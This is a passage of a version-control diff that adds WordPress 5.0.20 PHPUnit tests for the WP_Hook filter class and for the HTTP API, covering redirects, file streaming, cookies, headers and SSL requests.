+
+		$this->assertEquals( $priority, $hook->has_filter( $tag, $callback ) );
+	}
+
+	public function test_has_filter_without_callback() {
+		$callback = '__return_null';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+
+		$this->assertTrue( $hook->has_filter() );
+	}
+
+	public function test_not_has_filter_without_callback() {
+		$hook = new WP_Hook();
+		$this->assertFalse( $hook->has_filter() );
+	}
+
+	public function test_not_has_filter_with_callback() {
+		$callback = '__return_null';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+
+		$this->assertFalse( $hook->has_filter( $tag, $callback ) );
+	}
+
+	public function test_has_filter_with_wrong_callback() {
+		$callback = '__return_null';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+
+		$this->assertFalse( $hook->has_filter( $tag, '__return_false' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/hooks/hasFilters.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/hooks/hasFilters.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/hooks/hasFilters.php	(revision 56912)
@@ -0,0 +1,52 @@
+<?php
+
+/**
+ * Test the has_filters method of WP_Hook
+ *
+ * @group hooks
+ */
+class Tests_WP_Hook_Has_Filters extends WP_UnitTestCase {
+
+	public function test_has_filters_with_callback() {
+		$callback = '__return_null';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+
+		$this->assertTrue( $hook->has_filters() );
+	}
+
+	public function test_has_filters_without_callback() {
+		$hook = new WP_Hook();
+		$this->assertFalse( $hook->has_filters() );
+	}
+
+	public function test_not_has_filters_with_removed_callback() {
+		$callback = '__return_null';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+		$hook->remove_filter( $tag, $callback, $priority );
+		$this->assertFalse( $hook->has_filters() );
+	}
+
+	public function test_not_has_filter_with_directly_removed_callback() {
+		$callback = '__return_null';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+		$function_key = _wp_filter_build_unique_id( $tag, $callback, $priority );
+		unset( $hook->callbacks[ $priority ][ $function_key ] );
+
+		$this->assertFalse( $hook->has_filters() );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/hooks/iterator.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/hooks/iterator.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/hooks/iterator.php	(revision 56912)
@@ -0,0 +1,32 @@
+<?php
+
+/**
+ * Test the Iterator implementation of WP_Hook
+ *
+ * @group hooks
+ */
+class Tests_WP_Hook_Iterator extends WP_UnitTestCase {
+
+	public function test_foreach() {
+		$callback_one = '__return_null';
+		$callback_two = '__return_false';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback_one, $priority, $accepted_args );
+		$hook->add_filter( $tag, $callback_two, $priority + 1, $accepted_args );
+
+		$functions = array();
+		$priorities = array();
+		foreach ( $hook as $key => $callbacks ) {
+			$priorities[] = $key;
+			foreach ( $callbacks as $function_index => $the_ ) {
+				$functions[] = $the_['function'];
+			}
+		}
+		$this->assertEqualSets( array( $priority, $priority + 1 ), $priorities );
+		$this->assertEqualSets( array( $callback_one, $callback_two ), $functions );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/hooks/preinitHooks.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/hooks/preinitHooks.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/hooks/preinitHooks.php	(revision 56912)
@@ -0,0 +1,39 @@
+<?php
+
+/**
+ * Test the IteratorAggregate implementation of WP_Hook
+ *
+ * @group hooks
+ */
+class Tests_WP_Hook_Preinit_Hooks extends WP_UnitTestCase {
+
+	public function test_array_to_hooks() {
+		$tag1 = __FUNCTION__ . '_1';
+		$priority1 = rand( 1, 100 );
+		$tag2 = __FUNCTION__ . '_2';
+		$priority2 = rand( 1, 100 );
+		$filters = array(
+			$tag1 => array(
+				$priority1 => array(
+					'test1' => array(
+						'function' => '__return_false',
+						'accepted_args' => 2,
+					),
+				),
+			),
+			$tag2 => array(
+				$priority2 => array(
+					'test1' => array(
+						'function' => '__return_null',
+						'accepted_args' => 1,
+					),
+				),
+			),
+		);
+
+		$hooks = WP_Hook::build_preinitialized_hooks( $filters );
+
+		$this->assertEquals( $priority1, $hooks[ $tag1 ]->has_filter( $tag1, '__return_false' ) );
+		$this->assertEquals( $priority2, $hooks[ $tag2 ]->has_filter( $tag2, '__return_null' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/hooks/removeAllFilters.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/hooks/removeAllFilters.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/hooks/removeAllFilters.php	(revision 56912)
@@ -0,0 +1,41 @@
+<?php
+
+/**
+ * Test the remove_all_filters method of WP_Hook
+ *
+ * @group hooks
+ */
+class Tests_WP_Hook_Remove_All_Filters extends WP_UnitTestCase {
+
+	public function test_remove_all_filters() {
+		$callback = '__return_null';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+
+		$hook->remove_all_filters();
+
+		$this->assertFalse( $hook->has_filters() );
+	}
+
+	public function test_remove_all_filters_with_priority() {
+		$callback_one = '__return_null';
+		$callback_two = '__return_false';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback_one, $priority, $accepted_args );
+		$hook->add_filter( $tag, $callback_two, $priority + 1, $accepted_args );
+
+		$hook->remove_all_filters( $priority );
+
+		$this->assertFalse( $hook->has_filter( $tag, $callback_one ) );
+		$this->assertTrue( $hook->has_filters() );
+		$this->assertEquals( $priority + 1, $hook->has_filter( $tag, $callback_two ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/hooks/removeFilter.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/hooks/removeFilter.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/hooks/removeFilter.php	(revision 56912)
@@ -0,0 +1,81 @@
+<?php
+
+/**
+ * Test the remove_filter method of WP_Hook
+ *
+ * @group hooks
+ */
+class Tests_WP_Hook_Remove_Filter extends WP_UnitTestCase {
+
+	public function test_remove_filter_with_function() {
+		$callback = '__return_null';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+		$hook->remove_filter( $tag, $callback, $priority );
+
+		$this->assertFalse( isset( $hook->callbacks[ $priority ] ) );
+	}
+
+	public function test_remove_filter_with_object() {
+		$a = new MockAction();
+		$callback = array( $a, 'action' );
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+		$hook->remove_filter( $tag, $callback, $priority );
+
+		$this->assertFalse( isset( $hook->callbacks[ $priority ] ) );
+	}
+
+	public function test_remove_filter_with_static_method() {
+		$callback = array( 'MockAction', 'action' );
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback, $priority, $accepted_args );
+		$hook->remove_filter( $tag, $callback, $priority );
+
+		$this->assertFalse( isset( $hook->callbacks[ $priority ] ) );
+	}
+
+	public function test_remove_filters_with_another_at_same_priority() {
+		$callback_one = '__return_null';
+		$callback_two = '__return_false';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback_one, $priority, $accepted_args );
+		$hook->add_filter( $tag, $callback_two, $priority, $accepted_args );
+
+		$hook->remove_filter( $tag, $callback_one, $priority );
+
+		$this->assertCount( 1, $hook->callbacks[ $priority ] );
+	}
+
+	public function test_remove_filter_with_another_at_different_priority() {
+		$callback_one = '__return_null';
+		$callback_two = '__return_false';
+		$hook = new WP_Hook();
+		$tag = __FUNCTION__;
+		$priority = rand( 1, 100 );
+		$accepted_args = rand( 1, 100 );
+
+		$hook->add_filter( $tag, $callback_one, $priority, $accepted_args );
+		$hook->add_filter( $tag, $callback_two, $priority + 1, $accepted_args );
+
+		$hook->remove_filter( $tag, $callback_one, $priority );
+		$this->assertFalse( isset( $hook->callbacks[ $priority ] ) );
+		$this->assertCount( 1, $hook->callbacks[ $priority + 1 ] );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/http/base.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/http/base.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/http/base.php	(revision 56912)
@@ -0,0 +1,404 @@
+<?php
+/**
+ * Note, When running these tests, remember that some things are done differently
+ * based on safe_mode. You can run the test in safe_mode like such:
+ *
+ *   phpunit -d safe_mode=on --group http
+ *
+ * You may also need `-d safe_mode_gid=1` to relax the safe_mode checks to allow
+ * inclusion of PEAR.
+ *
+ * The WP_HTTP tests require a class-http.php file of r17550 or later.
+ */
+abstract class WP_HTTP_UnitTestCase extends WP_UnitTestCase {
+	// You can use your own version of data/WPHTTP-testcase-redirection-script.php here.
+	var $redirection_script = 'http://api.wordpress.org/core/tests/1.0/redirection.php';
+	var $fileStreamUrl = 'http://s.w.org/screenshots/3.9/dashboard.png';
+
+	protected $http_request_args;
+
+	function setUp() {
+
+		if ( is_callable( array('WP_Http', '_getTransport') ) ) {
+			$this->markTestSkipped('The WP_Http tests require a class-http.php file of r17550 or later.');
+			return;
+		}
+
+		$class = "WP_Http_" . ucfirst( $this->transport );
+		if ( !call_user_func( array($class, 'test') ) ) {
+			$this->markTestSkipped( sprintf('The transport %s is not supported on this system', $this->transport) );
+		}
+
+		// Disable all transports aside from this one.
+		foreach ( array( 'curl', 'streams', 'fsockopen' ) as $t ) {
+			remove_filter( "use_{$t}_transport", '__return_false' ); // Just strip them all
+			if ( $t != $this->transport )
+				add_filter( "use_{$t}_transport", '__return_false' ); // and add it back if need be..
+		}
+	}
+
+	function tearDown() {
+		foreach ( array( 'curl', 'streams', 'fsockopen' ) as $t ) {
+			remove_filter( "use_{$t}_transport", '__return_false' );
+		}
+		parent::tearDown();
+	}
+
+	function filter_http_request_args( array $args ) {
+		$this->http_request_args = $args;
+		return $args;
+	}
+
+	function test_redirect_on_301() {
+		// 5 : 5 & 301
+		$res = wp_remote_request($this->redirection_script . '?code=301&rt=' . 5, array('redirection' => 5) );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertNotWPError( $res );
+		$this->assertEquals(200, (int)$res['response']['code'] );
+	}
+
+	function test_redirect_on_302() {
+		// 5 : 5 & 302
+		$res = wp_remote_request($this->redirection_script . '?code=302&rt=' . 5, array('redirection' => 5) );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertNotWPError( $res );
+		$this->assertEquals(200, (int)$res['response']['code'] );
+	}
+
+	/**
+	 * @ticket 16855
+	 */
+	function test_redirect_on_301_no_redirect() {
+		// 5 > 0 & 301
+		$res = wp_remote_request($this->redirection_script . '?code=301&rt=' . 5, array('redirection' => 0) );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertNotWPError( $res );
+		$this->assertEquals(301, (int)$res['response']['code'] );
+	}
+
+	/**
+	 * @ticket 16855
+	 */
+	function test_redirect_on_302_no_redirect() {
+		// 5 > 0 & 302
+		$res = wp_remote_request($this->redirection_script . '?code=302&rt=' . 5, array('redirection' => 0) );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertNotWPError( $res );
+		$this->assertEquals(302, (int)$res['response']['code'] );
+	}
+
+	function test_redirections_equal() {
+		// 5 - 5
+		$res = wp_remote_request($this->redirection_script . '?rt=' . 5, array('redirection' => 5) );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertNotWPError( $res );
+		$this->assertEquals(200, (int)$res['response']['code'] );
+	}
+
+	function test_no_head_redirections() {
+		// No redirections on HEAD request:
+		$res = wp_remote_request($this->redirection_script . '?code=302&rt=' . 1, array('method' => 'HEAD') );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertNotWPError( $res );
+		$this->assertEquals( 302, (int)$res['response']['code'] );
+	}
+
+	/**
+	 * @ticket 16855
+	 */
+	function test_redirect_on_head() {
+		// Redirections on HEAD request when Requested
+		$res = wp_remote_request($this->redirection_script . '?rt=' . 5, array('redirection' => 5, 'method' => 'HEAD') );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertNotWPError( $res );
+		$this->assertEquals( 200, (int)$res['response']['code'] );
+	}
+
+	function test_redirections_greater() {
+		// 10 > 5
+		$res = wp_remote_request($this->redirection_script . '?rt=' . 10, array('redirection' => 5) );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertWPError( $res );
+	}
+
+	function test_redirections_greater_edgecase() {
+		// 6 > 5 (close edgecase)
+		$res = wp_remote_request($this->redirection_script . '?rt=' . 6, array('redirection' => 5) );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertWPError( $res );
+	}
+
+	function test_redirections_less_edgecase() {
+		// 4 < 5 (close edgecase)
+		$res = wp_remote_request($this->redirection_script . '?rt=' . 4, array('redirection' => 5) );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertNotWPError( $res );
+	}
+
+	/**
+	 * @ticket 16855
+	 */
+	function test_redirections_zero_redirections_specified() {
+		// 0 redirections asked for, Should return the document?
+		$res = wp_remote_request($this->redirection_script . '?code=302&rt=' . 5, array('redirection' => 0) );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertNotWPError( $res );
+		$this->assertEquals( 302, (int)$res['response']['code'] );
+	}
+
+	/**
+	 * Do not redirect on non 3xx status codes
+	 *
+	 * @ticket 16889
+	 */
+	function test_location_header_on_201() {
+		// Prints PASS on initial load, FAIL if the client follows the specified redirection
+		$res = wp_remote_request( $this->redirection_script . '?201-location=true' );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertNotWPError( $res );
+		$this->assertEquals( 'PASS', $res['body']);
+	}
+
+	/**
+	 * Test handling of PUT requests on redirects
+	 *
+	 * @ticket 16889
+	 */
+	function test_no_redirection_on_PUT() {
+		$url = 'http://api.wordpress.org/core/tests/1.0/redirection.php?201-location=1';
+
+		// Test 301 - POST to POST
+		$res = wp_remote_request( $url, array( 'method' => 'PUT', 'timeout' => 30 ) );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertEquals( 'PASS', wp_remote_retrieve_body( $res ) );
+		$this->assertTrue( !empty( $res['headers']['location'] ) );
+	}
+
+	/**
+	 * @ticket 11888
+	 */
+	function test_send_headers() {
+		// Test that the headers sent are recieved by the server
+		$headers = array('test1' => 'test', 'test2' => 0, 'test3' => '');
+		$res = wp_remote_request( $this->redirection_script . '?header-check', array('headers' => $headers) );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertNotWPError( $res );
+
+		$headers = array();
+		foreach ( explode("\n", $res['body']) as $key => $value ) {
+			if ( empty($value) )
+				continue;
+			$parts = explode(':', $value,2);
+			unset($headers[$key]);
+			$headers[ $parts[0] ] = $parts[1];
+		}
+
+		$this->assertTrue( isset($headers['test1']) && 'test' == $headers['test1'] );
+		$this->assertTrue( isset($headers['test2']) && '0' === $headers['test2'] );
+		// cURL/HTTP Extension Note: Will never pass, cURL does not pass headers with an empty value.
+		// Should it be that empty headers with empty values are NOT sent?
+		//$this->assertTrue( isset($headers['test3']) && '' === $headers['test3'] );
+	}
+
+	function test_file_stream() {
+		$url = $this->fileStreamUrl;
+		$size = 153204;
+		$res = wp_remote_request( $url, array( 'stream' => true, 'timeout' => 30 ) ); //Auto generate the filename.
+
+		// Cleanup before we assert, as it'll return early.
+		if ( ! is_wp_error( $res ) ) {
+			$filesize = filesize( $res['filename'] );
+			unlink( $res['filename'] );
+		}
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertNotWPError( $res );
+		$this->assertEquals( '', $res['body'] ); // The body should be empty.
+		$this->assertEquals( $size, $res['headers']['content-length'] ); // Check the headers are returned (and the size is the same..)
+		$this->assertEquals( $size, $filesize ); // Check that the file is written to disk correctly without any extra characters
+		$this->assertStringStartsWith( get_temp_dir(), $res['filename'] ); // Check it's saving within the temp dir
+	}
+
+	/**
+	 * @ticket 26726
+	 */
+	function test_file_stream_limited_size() {
+		$url = $this->fileStreamUrl;
+		$size = 10000;
+		$res = wp_remote_request( $url, array( 'stream' => true, 'timeout' => 30, 'limit_response_size' => $size ) ); //Auto generate the filename.
+
+		// Cleanup before we assert, as it'll return early.
+		if ( ! is_wp_error( $res ) ) {
+			$filesize = filesize( $res['filename'] );
+			unlink( $res['filename'] );
+		}
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertNotWPError( $res );
+		$this->assertEquals( $size, $filesize ); // Check that the file is written to disk correctly without any extra characters
+
+	}
+
+	/**
+	 * Tests Limiting the response size when returning strings
+	 *
+	 * @ticket 31172
+	 */
+	function test_request_limited_size() {
+		$url = $this->fileStreamUrl;
+		$size = 10000;
+
+		$res = wp_remote_request( $url, array( 'timeout' => 30, 'limit_response_size' => $size ) );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertNotWPError( $res );
+		$this->assertEquals( $size, strlen( $res['body'] ) );
+	}
+
+	/**
+	 * Test POST redirection methods
+	 *
+	 * @dataProvider data_post_redirect_to_method_300
+	 *
+	 * @ticket 17588
+	 */
+	function test_post_redirect_to_method_300( $response_code, $method ) {
+		$url = 'http://api.wordpress.org/core/tests/1.0/redirection.php?post-redirect-to-method=1';
+
+		$res = wp_remote_post( add_query_arg( 'response_code', $response_code, $url ), array( 'timeout' => 30 ) );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertEquals( $method, wp_remote_retrieve_body( $res ) );
+	}
+
+	public function data_post_redirect_to_method_300() {
+		return array(
+			// Test 300 - POST to POST
+			array(
+				300,
+				'POST',
+			),
+			// Test 301 - POST to POST
+			array(
+				301,
+				'POST',
+			),
+			// Test 302 - POST to GET
+			array(
+				302,
+				'GET',
+			),
+			// Test 303 - POST to GET
+			array(
+				303,
+				'GET',
+			),
+		);
+	}
+
+	/**
+	 * Test HTTP Requests using an IP url, with a HOST header specified
+	 *
+	 * @ticket 24182
+	 */
+	function test_ip_url_with_host_header() {
+		$ip = gethostbyname( 'api.wordpress.org' );
+		$url = 'http://' . $ip . '/core/tests/1.0/redirection.php?print-pass=1';
+		$args = array(
+			'headers' => array(
+				'Host' => 'api.wordpress.org',
+			),
+			'timeout' => 30,
+			'redirection' => 0,
+		);
+
+		$res = wp_remote_get( $url, $args );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertEquals( 'PASS', wp_remote_retrieve_body( $res ) );
+
+	}
+
+	/**
+	 * Test HTTP requests where SSL verification is disabled but the CA bundle is still populated
+	 *
+	 * @ticket 33978
+	 */
+	function test_https_url_without_ssl_verification() {
+		$url = 'https://wordpress.org/';
+		$args = array(
+			'sslverify' => false,
+		);
+
+		add_filter( 'http_request_args', array( $this, 'filter_http_request_args' ) );
+
+		$res = wp_remote_head( $url, $args );
+
+		remove_filter( 'http_request_args', array( $this, 'filter_http_request_args' ) );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertNotEmpty( $this->http_request_args['sslcertificates'] );
+		$this->assertNotWPError( $res );
+	}
+
+	/**
+	 * Test HTTP Cookie handling
+	 *
+	 * @ticket 21182
+	 */
+	function test_cookie_handling() {
+		$url = 'http://api.wordpress.org/core/tests/1.0/redirection.php?cookie-test=1';
+
+		$res = wp_remote_get( $url );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertEquals( 'PASS', wp_remote_retrieve_body( $res ) );
+	}
+
+	/**
+	 * Test if HTTPS support works
+	 *
+	 * @group ssl
+	 * @ticket 25007
+	 */
+	function test_ssl() {
+		if ( ! wp_http_supports( array( 'ssl' ) ) )
+			$this->fail( 'This installation of PHP does not support SSL' );
+
+		$res = wp_remote_get( 'https://wordpress.org/' );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertNotWPError( $res );
+	}
+
+	/**
+	 * @ticket 37733
+	 */
+	function test_url_with_double_slashes_path() {
+		$url = $this->redirection_script . '?rt=' . 0;
+
+		$path = parse_url( $url, PHP_URL_PATH );
+		$url = str_replace( $path, '/' . $path, $url );
+
+		$res = wp_remote_request( $url );
+
+		$this->skipTestOnTimeout( $res );
+		$this->assertNotWPError( $res );
+	}
+
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/http/curl.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/http/curl.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/http/curl.php	(revision 56912)
@@ -0,0 +1,26 @@
+<?php
+
+require_once dirname( __FILE__ ) . '/base.php';
+
+/**
+ * @group http
+ * @group external-http
+ */
+class Tests_HTTP_curl extends WP_HTTP_UnitTestCase {
+	var $transport = 'curl';
+
+	/**
+	 * @ticket 39783
+	 */
+	public function test_http_api_curl_stream_parameter_is_a_reference() {
+		add_action( 'http_api_curl', array( $this, '_action_test_http_api_curl_stream_parameter_is_a_reference' ), 10, 3 );
+		wp_remote_request( $this->fileStreamUrl, array( 'stream' => true, 'timeout' => 30 ) );
+		remove_action( 'http_api_curl', array( $this, '_action_test_http_api_curl_stream_parameter_is_a_reference' ), 10 );
+	}
+
+	public function _action_test_http_api_curl_stream_parameter_is_a_reference( &$stream, $r, $url ) {
+		// $stream not being a reference will cause a PHP warning.
+		// For counting tests purposes, let's do a fake assert.
+		$this->assertTrue( true );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/http/functions.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/http/functions.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/http/functions.php	(revision 56912)
@@ -0,0 +1,170 @@
+<?php
+
+/**
+ * @group http
+ * @group external-http
+ */
+class Tests_HTTP_Functions extends WP_UnitTestCase {
+
+	public function setUp() {
+		if ( ! extension_loaded( 'openssl' ) ) {
+			$this->markTestSkipped( 'Tests_HTTP_Functions requires openssl.' );
+		}
+
+		parent::setUp();
+	}
+
+	function test_head_request() {
+		// this url give a direct 200 response
+		$url = 'https://asdftestblog1.files.wordpress.com/2007/09/2007-06-30-dsc_4700-1.jpg';
+		$response = wp_remote_head( $url );
+
+		$this->skipTestOnTimeout( $response );
+
+		$headers = wp_remote_retrieve_headers( $response );
+
+		$this->assertInternalType( 'array', $response );
+		
+		$this->assertEquals( 'image/jpeg', $headers['content-type'] );
+		$this->assertEquals( '40148', $headers['content-length'] );
+		$this->assertEquals( '200', wp_remote_retrieve_response_code( $response ) );
+	}
+
+	function test_head_redirect() {
+		// this url will 301 redirect
+		$url = 'https://asdftestblog1.wordpress.com/files/2007/09/2007-06-30-dsc_4700-1.jpg';
+		$response = wp_remote_head( $url );
+
+		$this->skipTestOnTimeout( $response );
+		$this->assertEquals( '301', wp_remote_retrieve_response_code( $response ) );
+	}
+
+	function test_head_404() {
+		$url      = 'https://asdftestblog1.files.wordpress.com/2007/09/awefasdfawef.jpg';
+		$response = wp_remote_head( $url );
+
+		$this->skipTestOnTimeout( $response );
+		$this->assertEquals( '404', wp_remote_retrieve_response_code( $response ) );
+	}
+
+	function test_get_request() {
+		$url = 'https://asdftestblog1.files.wordpress.com/2007/09/2007-06-30-dsc_4700-1.jpg';
+
+		$response = wp_remote_get( $url );
+
+		$this->skipTestOnTimeout( $response );
+
+		$headers = wp_remote_retrieve_headers( $response );
+
+		$this->assertInternalType( 'array', $response );
+	
+		// should return the same headers as a head request
+		$this->assertEquals( 'image/jpeg', $headers['content-type'] );
+		$this->assertEquals( '40148', $headers['content-length'] );
+		$this->assertEquals( '200', wp_remote_retrieve_response_code( $response ) );
+	}
+
+	function test_get_redirect() {
+		// this will redirect to asdftestblog1.files.wordpress.com
+		$url = 'https://asdftestblog1.wordpress.com/files/2007/09/2007-06-30-dsc_4700-1.jpg';
+
+		$response = wp_remote_get( $url );
+
+		$this->skipTestOnTimeout( $response );
+
+		$headers = wp_remote_retrieve_headers( $response );
+
+		// should return the same headers as a head request
+		$this->assertEquals( 'image/jpeg', $headers['content-type'] );
+		$this->assertEquals( '40148', $headers['content-length'] );
+		$this->assertEquals( '200', wp_remote_retrieve_response_code( $response ) );
+	}
+
+	function test_get_redirect_limit_exceeded() {
+		// this will redirect to asdftestblog1.files.wordpress.com
+		$url = 'https://asdftestblog1.wordpress.com/files/2007/09/2007-06-30-dsc_4700-1.jpg';
+
+		// pretend we've already redirected 5 times
+		$response = wp_remote_get( $url, array( 'redirection' => -1 ) );
+
+		$this->skipTestOnTimeout( $response );
+		$this->assertWPError( $response );
+	}
+
+	/**
+	 * @ticket 33711
+	 */
+	function test_get_response_cookies() {
+		$url = 'https://login.wordpress.org/wp-login.php';
+
+		$response = wp_remote_head( $url );
+
+		$this->skipTestOnTimeout( $response );
+
+		$cookies = wp_remote_retrieve_cookies( $response );
+
+		$this->assertNotEmpty( $cookies );
+
+		$cookie = wp_remote_retrieve_cookie( $response, 'wordpress_test_cookie' );
+		$this->assertInstanceOf( 'WP_Http_Cookie', $cookie );
+		$this->assertSame( 'wordpress_test_cookie', $cookie->name );
+		$this->assertSame( 'WP Cookie check', $cookie->value );
+
+		$value = wp_remote_retrieve_cookie_value( $response, 'wordpress_test_cookie' );
+		$this->assertSame( 'WP Cookie check', $value );
+
+		$no_value = wp_remote_retrieve_cookie_value( $response, 'not_a_cookie' );
+		$this->assertSame( '', $no_value );
+
+		$no_cookie = wp_remote_retrieve_cookie( $response, 'not_a_cookie' );
+		$this->assertSame( '', $no_cookie );
+	}
+
+	/**
+	 * @ticket 37437
+	 */
+	function test_get_response_cookies_with_wp_http_cookie_object() {
+		$url = 'http://example.org';
+
+		$response = wp_remote_get( $url, array(
+			'cookies' => array(
+				new WP_Http_Cookie( array( 'name' => 'test', 'value' => 'foo' ) ),
+			),
+		) );
+
+		$this->skipTestOnTimeout( $response );
+
+		$cookies = wp_remote_retrieve_cookies( $response );
+
+		$this->assertNotEmpty( $cookies );
+
+		$cookie = wp_remote_retrieve_cookie( $response, 'test' );
+		$this->assertInstanceOf( 'WP_Http_Cookie', $cookie );
+		$this->assertSame( 'test', $cookie->name );
+		$this->assertSame( 'foo', $cookie->value );
+	}
+
+	/**
+	 * @ticket 37437
+	 */
+	function test_get_response_cookies_with_name_value_array() {
+		$url = 'http://example.org';
+
+		$response = wp_remote_get( $url, array(
+			'cookies' => array(
+				'test' => 'foo',
+			),
+		) );
+
+		$this->skipTestOnTimeout( $response );
+
+		$cookies = wp_remote_retrieve_cookies( $response );
+
+		$this->assertNotEmpty( $cookies );
+
+		$cookie = wp_remote_retrieve_cookie( $response, 'test' );
+		$this->assertInstanceOf( 'WP_Http_Cookie', $cookie );
+		$this->assertSame( 'test', $cookie->name );
+		$this->assertSame( 'foo', $cookie->value );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/http/getHttpHeaders.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/http/getHttpHeaders.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/http/getHttpHeaders.php	(revision 56912)
@@ -0,0 +1,69 @@
+<?php
+
+/**
+ * @group http
+ */
+class Tests_HTTP_GetHttpHeaders extends WP_UnitTestCase {
+
+	/**
+	 * Set up the environment
+	 */
+	public function setUp() {
+		parent::setUp();
+
+		// Hook a fake HTTP request response.
+		add_filter( 'pre_http_request', array( $this, 'fake_http_request' ), 10, 3 );
+	}
+
+	/**
+	 * Clean up environment
+	 */
+	public function tearDown() {
+		parent::tearDown();
+
+		// Clear the hook for the fake HTTP request response.
+		remove_filter( 'pre_http_request', array( $this, 'fake_http_request' ) );
+	}
+
+	/**
+	 * Test with a valid URL
+	 */
+	public function test_wp_get_http_headers_valid_url() {
+		$result = wp_get_http_headers( 'http://example.com' );
+		$this->assertTrue( $result );
+	}
+
+	/**
+	 * Test with an invalid URL
+	 */
+	public function test_wp_get_http_headers_invalid_url() {
+		$result = wp_get_http_headers( 'not_an_url' );
+		$this->assertFalse( $result );
+	}
+
+	/**
+	 * Test to see if the deprecated argument is working
+	 */
+	public function test_wp_get_http_headers_deprecated_argument() {
+		$this->setExpectedDeprecated( 'wp_get_http_headers' );
+
+		wp_get_http_headers( 'does_not_matter', $deprecated = true );
+	}
+
+	/**
+	 * Mock the HTTP request response
+	 *
+	 * @param bool   $false     False.
+	 * @param array  $arguments Request arguments.
+	 * @param string $url       Request URL.
+	 *
+	 * @return array|bool
+	 */
+	public function fake_http_request( $false, $arguments, $url ) {
+		if ( 'http://example.com' === $url ) {
+			return array( 'headers' => true );
+		}
+
+		return false;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/http/http.php
===================================================================
